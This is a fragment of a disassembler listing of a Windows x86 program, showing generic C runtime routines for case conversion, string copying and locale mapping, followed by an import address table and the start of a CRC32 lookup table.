		call	sub_4265C1
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_426459
		cmp	bx, ax
		jz	short loc_426435


loc_426459:				; CODE XREF: sub_4263E5+6Dj
		pop	edi
		pop	esi


loc_42645B:				; CODE XREF: sub_4263E5+3Dj
					; sub_4263E5+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_4263E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_426465	proc near		; CODE XREF: sub_41843B+21p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648C
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41BEB5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648C
		push	esi
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648C:				; CODE XREF: sub_426465+7j
					; sub_426465+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426465	endp


; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: ___:004264A8p
		mov	dword ptr [ecx], offset	off_427CEC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4264A4
		push	ecx
		call	sub_41BA91
		pop	ecx

locret_4264A4:				; CODE XREF: sub_426490+Bj
		retn
sub_426490	endp

; ---------------------------------------------------------------------------


loc_4264A5:				; DATA XREF: ___:off_427CECo
		push	esi
		mov	esi, ecx
		call	sub_426490
		test	byte ptr [esp+8], 1
		jz	short loc_4264BB
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264BB:				; CODE XREF: ___:004264B2j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4264C1:				; DATA XREF: ___:off_427CF4o
		push	esi
		mov	esi, ecx
		call	sub_426564
		test	byte ptr [esp+8], 1
		jz	short loc_4264D7
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264D7:				; CODE XREF: ___:004264CEj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264DD	proc near		; CODE XREF: sub_4260FE+1Dp
					; sub_4261D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		push	dword ptr [edi]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42650C
		push	dword ptr [edi]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_42650C:				; CODE XREF: sub_4264DD+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4264DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42651A	proc near		; CODE XREF: sub_426218+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_426557
		push	dword ptr [edi+4]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42655D
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		jmp	short loc_42655D
; ---------------------------------------------------------------------------


loc_426557:				; CODE XREF: sub_42651A+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_42655D:				; CODE XREF: sub_42651A+2Ej
					; sub_42651A+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42651A	endp


; =============== S U B	R O U T	I N E =======================================



sub_426564	proc near		; CODE XREF: sub_4260BA+16j
					; ___:004264C4p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427CF4
		jz	short locret_426579
		push	dword ptr [ecx+4]
		call	sub_41D65F
		pop	ecx

locret_426579:				; CODE XREF: sub_426564+Aj
		retn
sub_426564	endp


; =============== S U B	R O U T	I N E =======================================



sub_42657A	proc near		; DATA XREF: ___:00427CF8o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426586
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426586:				; CODE XREF: sub_42657A+5j
		retn
sub_42657A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426587	proc near		; CODE XREF: sub_426173+37p
					; sub_42629A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D10
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 26613E3h
		pop	edi
		pop	esi
		leave
		retn	8
sub_426587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265C1	proc near		; CODE XREF: sub_4263E5+56p
					; sub_4263E5+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_4265D3
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265D3:				; CODE XREF: sub_4265C1+Bj
		cmp	dword_4DBE94, 0
		jnz	short loc_4265ED
		cmp	ax, 41h
		jb	short locret_426634
		cmp	ax, 5Ah
		ja	short locret_426634
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265ED:				; CODE XREF: sub_4265C1+19j
		cmp	ax, 100h
		jnb	short loc_426607
		push	1
		push	eax
		call	sub_42686F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426607
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426607:				; CODE XREF: sub_4265C1+30j
					; sub_4265C1+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBE94
		call	sub_426636
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426634
		mov	ax, [ebp+var_2]

locret_426634:				; CODE XREF: sub_4265C1+1Fj
					; sub_4265C1+25j ...
		leave
		retn
sub_4265C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426636	proc near		; CODE XREF: sub_4265C1+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DC020, esi
		jnz	short loc_4266AC
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	short loc_42668A
		mov	dword_4DC020, ebx
		jmp	short loc_4266AC
; ---------------------------------------------------------------------------


loc_42668A:				; CODE XREF: sub_426636+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset word_4CB89C
		push	edi
		push	esi
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	loc_42682B
		mov	dword_4DC020, 2


loc_4266AC:				; CODE XREF: sub_426636+2Ej
					; sub_426636+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_4266C1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_42683F
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_4266C1:				; CODE XREF: sub_426636+79j
		mov	eax, dword_4DC020
		cmp	eax, 1
		jnz	short loc_4266E8
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		jmp	loc_42682D
; ---------------------------------------------------------------------------


loc_4266E8:				; CODE XREF: sub_426636+93j
		cmp	eax, 2
		jnz	loc_42682B
		cmp	[ebp+arg_18], esi
		jnz	short loc_4266FE
		mov	eax, dword_4DBEA4
		mov	[ebp+arg_18], eax


loc_4266FE:				; CODE XREF: sub_426636+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2890000h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_42682B
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426744
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426744:				; CODE XREF: sub_426636+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2890000h
		nop
		test	eax, eax
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_42682B
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4267C7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_4267C7:				; CODE XREF: sub_426636+17Dj
		cmp	ebx, esi
		jz	short loc_42682B
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	short loc_42682B
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426805
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426827
		cmp	eax, edi
		jl	short loc_4267F6
		mov	eax, edi


loc_4267F6:				; CODE XREF: sub_426636+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_426827
; ---------------------------------------------------------------------------


loc_426805:				; CODE XREF: sub_426636+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_42680E
		push	esi
		push	esi
		jmp	short loc_426814
; ---------------------------------------------------------------------------


loc_42680E:				; CODE XREF: sub_426636+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426814:				; CODE XREF: sub_426636+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		call	near ptr 2720000h
		nop
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_42682B


loc_426827:				; CODE XREF: sub_426636+1B8j
					; sub_426636+1CDj
		mov	eax, edi
		jmp	short loc_42682D
; ---------------------------------------------------------------------------


loc_42682B:				; CODE XREF: sub_426636+66j
					; sub_426636+B5j ...
		xor	eax, eax


loc_42682D:				; CODE XREF: sub_426636+ADj
					; sub_426636+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426636	endp


; =============== S U B	R O U T	I N E =======================================



sub_42683F	proc near		; CODE XREF: sub_426636+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42685E


loc_42684F:				; CODE XREF: sub_42683F+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_42685E
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_42684F


loc_42685E:				; CODE XREF: sub_42683F+Ej
					; sub_42683F+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_42686C
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_42686C:				; CODE XREF: sub_42683F+24j
		mov	eax, edx
		retn
sub_42683F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42686F	proc near		; CODE XREF: sub_4265C1+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_4268AF
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426893
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43CE8C
		mov	ax, [ecx+eax*2]
		jmp	short loc_4268B6
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_42686F+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_4268C1
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4268B3


loc_4268AF:				; CODE XREF: sub_42686F+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4268B3:				; CODE XREF: sub_42686F+3Ej
		mov	eax, [ebp+var_4]


loc_4268B6:				; CODE XREF: sub_42686F+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_42686F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268C1	proc near		; CODE XREF: sub_42686F+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D48
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DC024
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426930
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_42690E
		mov	eax, esi
		jmp	short loc_42692B
; ---------------------------------------------------------------------------


loc_42690E:				; CODE XREF: sub_4268C1+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB89C
		push	esi
		push	edi
		call	near ptr 2620000h
		nop
		test	eax, eax
		jz	loc_426A72
		push	2
		pop	eax


loc_42692B:				; CODE XREF: sub_4268C1+4Bj
		mov	dword_4DC024, eax


loc_426930:				; CODE XREF: sub_4268C1+2Fj
		cmp	eax, 1
		jnz	short loc_42694C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2610000h
		jmp	loc_426A74
; ---------------------------------------------------------------------------


loc_42694C:				; CODE XREF: sub_4268C1+72j
		cmp	eax, 2
		jnz	loc_426A72
		cmp	[ebp+arg_10], edi
		jnz	short loc_426962
		mov	eax, dword_4DBEA4
		mov	[ebp+arg_10], eax


loc_426962:				; CODE XREF: sub_4268C1+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 2890000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426A72
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4269C0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4269C0:				; CODE XREF: sub_4268C1+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426A72
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 2890000h
		nop
		test	eax, eax
		jz	loc_426A72
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426A15
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426A15:				; CODE XREF: sub_4268C1+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426A72
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426A29
		mov	eax, dword_4DBE94


loc_426A29:				; CODE XREF: sub_4268C1+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2620000h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426A72
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426A72
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D670
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426A74
; ---------------------------------------------------------------------------


loc_426A72:				; CODE XREF: sub_4268C1+61j
					; sub_4268C1+8Ej ...
		xor	eax, eax


loc_426A74:				; CODE XREF: sub_4268C1+86j
					; sub_4268C1+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4268C1	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_426A88	proc near		; DATA XREF: ___:00427EFCo

; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D76C
sub_426A88	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426AA6
		mov	ecx, [ebp+8]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------

locret_426AA6:				; CODE XREF: ___:00426A98j
		retn
; ---------------------------------------------------------------------------


loc_426AA7:				; DATA XREF: sub_40D340o
		mov	eax, offset dword_427ED0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426ABC:				; DATA XREF: ___:00427F2Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AC4:				; DATA XREF: sub_40D4E2o
		mov	eax, offset dword_427F00
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 10h


loc_426AD0:				; DATA XREF: sub_40DA4Fo
		mov	eax, offset dword_427F30
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426AE2:				; DATA XREF: sub_4260FEo
		mov	eax, offset dword_427F90
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AF4:				; DATA XREF: sub_426173o
		mov	eax, offset dword_428028
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B06:				; DATA XREF: sub_4261D0o
		mov	eax, offset dword_42804C
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B18:				; DATA XREF: sub_426218o
		mov	eax, offset dword_428070
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426B2A:				; DATA XREF: sub_42629Ao
		mov	eax, offset dword_4280D0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		dd 133h	dup(0)
		dd 25F0000h, 2600000h, 2600A5Eh, 2600AB4h, 2600F6Fh, 2610000h
		dd 2620000h, 2620774h, 2620CCEh, 2630000h, 263080Ah, 2630A54h
dword_427030	dd 2630AC3h		; DATA XREF: ___:004239E2r
		dd 2630B7Ah, 2630DD9h, 2630E0Ch, 2640000h, 2650000h, 2660000h
		dd 26610AEh, 26613E3h, 26618A3h, 26618CEh, 2670000h, 2670862h
dword_427064	dd 2670C14h		; DATA XREF: sub_41F216:loc_41F247r
dword_427068	dd 2670DA8h		; DATA XREF: sub_41E742+240r
		dd 77E75CB5h
dword_427070	dd 2680000h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 26802DCh, 2690000h, 26A0000h
dword_427080	dd 26A0475h		; DATA XREF: sub_40111D+29r
					; sub_40C3E8+2E9r ...
dword_427084	dd 26A04CCh		; DATA XREF: ___:004015E2r
					; sub_4116D6+32r
		dd 26A06ADh
dword_42708C	dd 26A07A5h		; DATA XREF: sub_419C09+B9r
		dd 26A0C67h
dword_427094	dd 26A0CACh		; DATA XREF: sub_4119F9:loc_411A8Ar
dword_427098	dd 26B0000h		; DATA XREF: ___:loc_4013DCr
		dd 26B0389h, 26B0453h
dword_4270A4	dd 26B0528h		; DATA XREF: sub_409909+2r
		dd 26B063Ch, 26B069Eh
dword_4270B0	dd 26B0BDDh		; DATA XREF: ___:0040124Dr
					; sub_41AA1E+8Cr
dword_4270B4	dd 26B0CA1h		; DATA XREF: sub_4116D6:loc_4117C2r
		dd 26C0000h, 26C0AF7h
dword_4270C0	dd 26C0BF1h		; DATA XREF: sub_409909:loc_409E17r
dword_4270C4	dd 26D0000h		; DATA XREF: sub_409909+11r
					; sub_4172C1+60r ...
		dd 26E0000h, 26F0000h, 2700000h, 2710000h, 77F7E300h, 77F7E21Fh
		dd 271061Dh, 27107A8h
dword_4270E8	dd 2720000h		; DATA XREF: sub_419177+Fr
					; sub_41E0D4+54r
dword_4270EC	dd 2730000h		; DATA XREF: sub_4119F9+Br
		dd 2740000h, 2750000h
dword_4270F8	dd 2750765h		; DATA XREF: sub_4187E0+36r
		dd 27509CEh, 2760000h
dword_427104	dd 27605BEh		; DATA XREF: sub_411920+3Ar
					; sub_41A1B1+79r
dword_427108	dd 2770000h		; DATA XREF: sub_411827+23r
					; sub_41A1B1+3Br
		dd 2780000h, 2790000h, 2790ABEh, 27A0000h, 27A06C8h, 27B0000h
		dd 27C0000h, 27D0000h, 27D0BCAh, 27D0F07h, 27E0000h, 27E0131h
		dd 27E03BCh, 27F0000h, 27F08EBh
dword_427148	dd 2800000h		; DATA XREF: sub_4172C1+BCr
		dd 2810000h
dword_427150	dd 2820000h		; DATA XREF: sub_417493+21r
					; sub_41761C+4Ar
dword_427154	dd 2820A3Ah		; DATA XREF: sub_417493+10r
					; sub_41761C+40r ...
		dd 2820AB2h
dword_42715C	dd 2820DAFh		; DATA XREF: sub_41761C+56r
		dd 2830000h, 2840000h, 2850000h, 28506AEh, 2850BDDh, 2860000h
		dd 2860172h, 28607F8h, 2870000h, 2880000h
dword_427188	dd 2890000h		; DATA XREF: sub_4190A5+13r
					; ___:00423A57r
		dd 28A0000h, 28A04E6h, 28A0965h, 28A0CADh, 28B0000h, 28C0000h
		dd 28C20C0h, 28D0000h, 28D19FFh, 28D1A11h, 28E0000h, 28E0C1Fh
		dd 28F0000h, 0
		dd 71AB5A01h, 71AB4122h
dword_4271CC	dd 71AB1746h		; DATA XREF: sub_4131EC+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h
		dd 71AB3E5Dh
dword_4271FC	dd 71AB5690h		; DATA XREF: sub_40E9FB+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 2	dup(0)
dword_427220	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
